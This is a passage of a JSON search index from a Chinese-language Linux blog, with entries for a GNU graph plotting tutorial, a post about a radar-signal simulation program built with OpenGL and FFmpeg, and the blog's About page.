這類的程式又感覺非常大費周章，我實在不想花 30 秒去畫我只看 3 秒鐘的圖。:p\n在 Linux 中有些小程式專門在處理這樣的問題，有一個是最傳統的 GNU graph，他是 plotutils 裡面的一隻程式，可在 command line 下即時繪出 2D 的圖形，也可以用在一般的 shell script 中，支援的輸出格式非常多，除了即時顯示在 X Window 上之外，也可以輸出成 SVG、PNG、GIF、PS 等各種檔案格式。以下是個小範例：\n假設有個資料檔 data.txt，其內容如下：\n0.0 0.0 1.0 0.2 2.0 0.0 3.0 0.4 4.0 0.2 5.0 0.6 每一行是一筆資料，分別是 x 與 y 的座標，可空白或是 Tab 隔開。在 command line 底下用 GNU graph 畫圖的方法：\n# 使用 graph 繪圖 graph -TX data.txt 若是要輸出至 PNG 圖檔：\n# 使用 graph 繪圖，輸出至 PNG 圖檔 graph -T png data.txt \u0026gt; output.png 或是 PS 圖檔：\n# 使用 graph 繪圖，輸出至 PS 圖檔 graph -T ps data.txt \u0026gt; output.ps 加入圖形 title 與 XY 座標 label：\n# 加入圖形 title 與 XY 座標 label graph -TX -L \u0026#34;Title\u0026#34; -X \u0026#34;X Label\u0026#34; -Y \u0026#34;Y Label\u0026#34; data.txt 若是要把另一隻程式的輸出直接畫出來：\nyour_program | graph -TX 另外，如果在 MS Windows 中也想用的話，他也有 Windows 的版本，指令用法相同，但是我試的結果他好像沒辦法直接畫在視窗上，要把圖形輸出到檔案再打開來看。:(\n","permalink":"https://blog.gtwang.org/useful-tools/gnu-graph/","summary":"\u003cp\u003e有時候在 Linux 底下會用 C、C++ 或 Perl 等程式語言寫一些程式分析資料，但若是需要把資料畫出來看的時候，用這些低階的語言要畫圖實在不方便，而要把資料吐給 \u003ca href=\"http://www.gnuplot.info/\"\u003eGNU Plot\u003c/a\u003e 這類的程式又感覺非常大費周章，我實在不想花 30 秒去畫我只看 3 秒鐘的圖。:p\u003c/p\u003e","title":"GNU graph：小巧好用的畫圖程式"},{"content":"這個是我在 Linux 中使用 OpenGL 與 FFmpeg 函式庫所寫出來的雷達波分析程式，主要用於雷達車輛偵測器的開發。\n之前在研發雷達車輛偵測器的時候，由於所有的程式都是放在 DSP 中執行，每次測試都要把程式燒進 DSP 來測試，過程很麻煩，為了開發與測試各種演算法，所以自己又在 Linux 中用 C 語言寫一套模擬環境，讓同一份程式碼可以同時在 DSP 與 CPU 上執行，以加速開發的速度。\n而在研發時，我們同時錄製車輛影像與雷達波的資料，影像的部分我們使用 FFmpeg 函式庫將當時的影像擷取出來顯示在螢幕上，雷達波的部分則是顯示快速傅立葉轉換的結果，透過另外記錄的 timestamp 來處理訊號同步問題。\n","permalink":"https://blog.gtwang.org/funny/ffmpeg-opengl-simulation-program/","summary":"\u003cp\u003e這個是我在 Linux 中使用 OpenGL 與 FFmpeg 函式庫所寫出來的雷達波分析程式，主要用於雷達車輛偵測器的開發。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"radarSimulation\" loading=\"lazy\" src=\"/funny/ffmpeg-opengl-simulation-program/radarSimulation.png\"\u003e\u003c/p\u003e\n\u003cp\u003e之前在研發\u003ca href=\"/funny/radar-vehicle-detector/\"\u003e雷達車輛偵測器\u003c/a\u003e的時候，由於所有的程式都是放在 DSP 中執行，每次測試都要把程式燒進 DSP 來測試，過程很麻煩，為了開發與測試各種演算法，所以自己又在 Linux 中用 C 語言寫一套模擬環境，讓同一份程式碼可以同時在 DSP 與 CPU 上執行，以加速開發的速度。\u003c/p\u003e","title":"自己用 OpenGL 與 FFmpeg 函式庫寫雷達波分析程式"},{"content":"這裡是 G. T. Wang 的個人部落格，研究 GNU/Linux 與開放原始碼相關的技術是我的興趣，在工作與研究的同時就順便將各種值得記錄的內容整理好放在這裡，一方面讓我日後可以查閱，另一方面也分享給大家。\n雖然我偏好使用 Linux 系統，但是基於工作與生活上的需要，Windows 與 Mac OS X 這兩個系統我平常也同時會使用到，因此偶爾會順道將自己遇到的技術問題記錄下來。\n另外架設與維護這個網站的過程中，也會有許多技術上的問題，值得寫下來的東西我都會盡量寫下來，給大家參考。\n過去由於本站的留言已經多到我沒時間管理與回應，所以目前已將留言功能關閉，若想要留言的人可以利用 facebook 粉絲專頁或是本站的 Email 信箱 gtwang.org@gmail.com，若有任何建議，歡迎來信。\n沿革 2008 年 10 月 使用 Google 的 Blogger 平台，成立「海豹雜記」部落格，網址為 sealmemory.blogspot.com，開始學習撰寫部落格文章。 2014 年 4 月 註冊 gtwang.org 網域，部落格名稱正式以個人姓名「G. T. Wang」為名，部落格網址改為 www.gtwang.org。 2014 年 10 月 網站單月瀏覽頁次，首度突破十萬。 2015 年 4 月 捨棄 Blogger 平台，改用 WordPress 架構，自行租用主機空間架設網站，部落格網址改為 blog.gtwang.org，原 Blogger 部落格網址改為 blogger.gtwang.org。 2026 年 4 月 捨棄 WordPress 架構，改用 Hugo 架構重新設計網站，重新整理全站文章。 Logo G. T. Wang 的 Logo 是好久以前在更換為 WordPress 架構的時期我自己畫的，當時是怎麼畫的我已經忘記了，一直沿用到現在。\nnot by AI G. T. Wang 是我的個人部落格，我把各種生活、學習、程式開發記錄都放在這裡，我希望把最有價值的文章與資料留下來，像 2008 年撰寫的第一篇雷達波分析程式文章，我把當時開發的成果放上來，現在我已經找不到當時寫的程式碼了，所以這篇文章現在就很有紀念價值。\n以 Not By AI 90% Rule 的規範來說僅要求 90% 的內容由人撰寫，即可在網站中置入 not by AI 的徽章，但我希望我的部落格可以保存最原始的資料，我不希望我的這些文章被 AI 打亂，所以我不會把任何 AI 生成的文稿貼上來，在這個網站內的所有文章都是我親自撰寫完成的。\n","permalink":"https://blog.gtwang.org/about/","summary":"\u003cp\u003e這裡是 G. T. Wang 的個人部落格，研究 GNU/Linux 與開放原始碼相關的技術是我的興趣，在工作與研究的同時就順便將各種值得記錄的內容整理好放在這裡，一方面讓我日後可以查閱，另一方面也分享給大家。\u003c/p\u003e","title":"關於 G. T. Wang"}]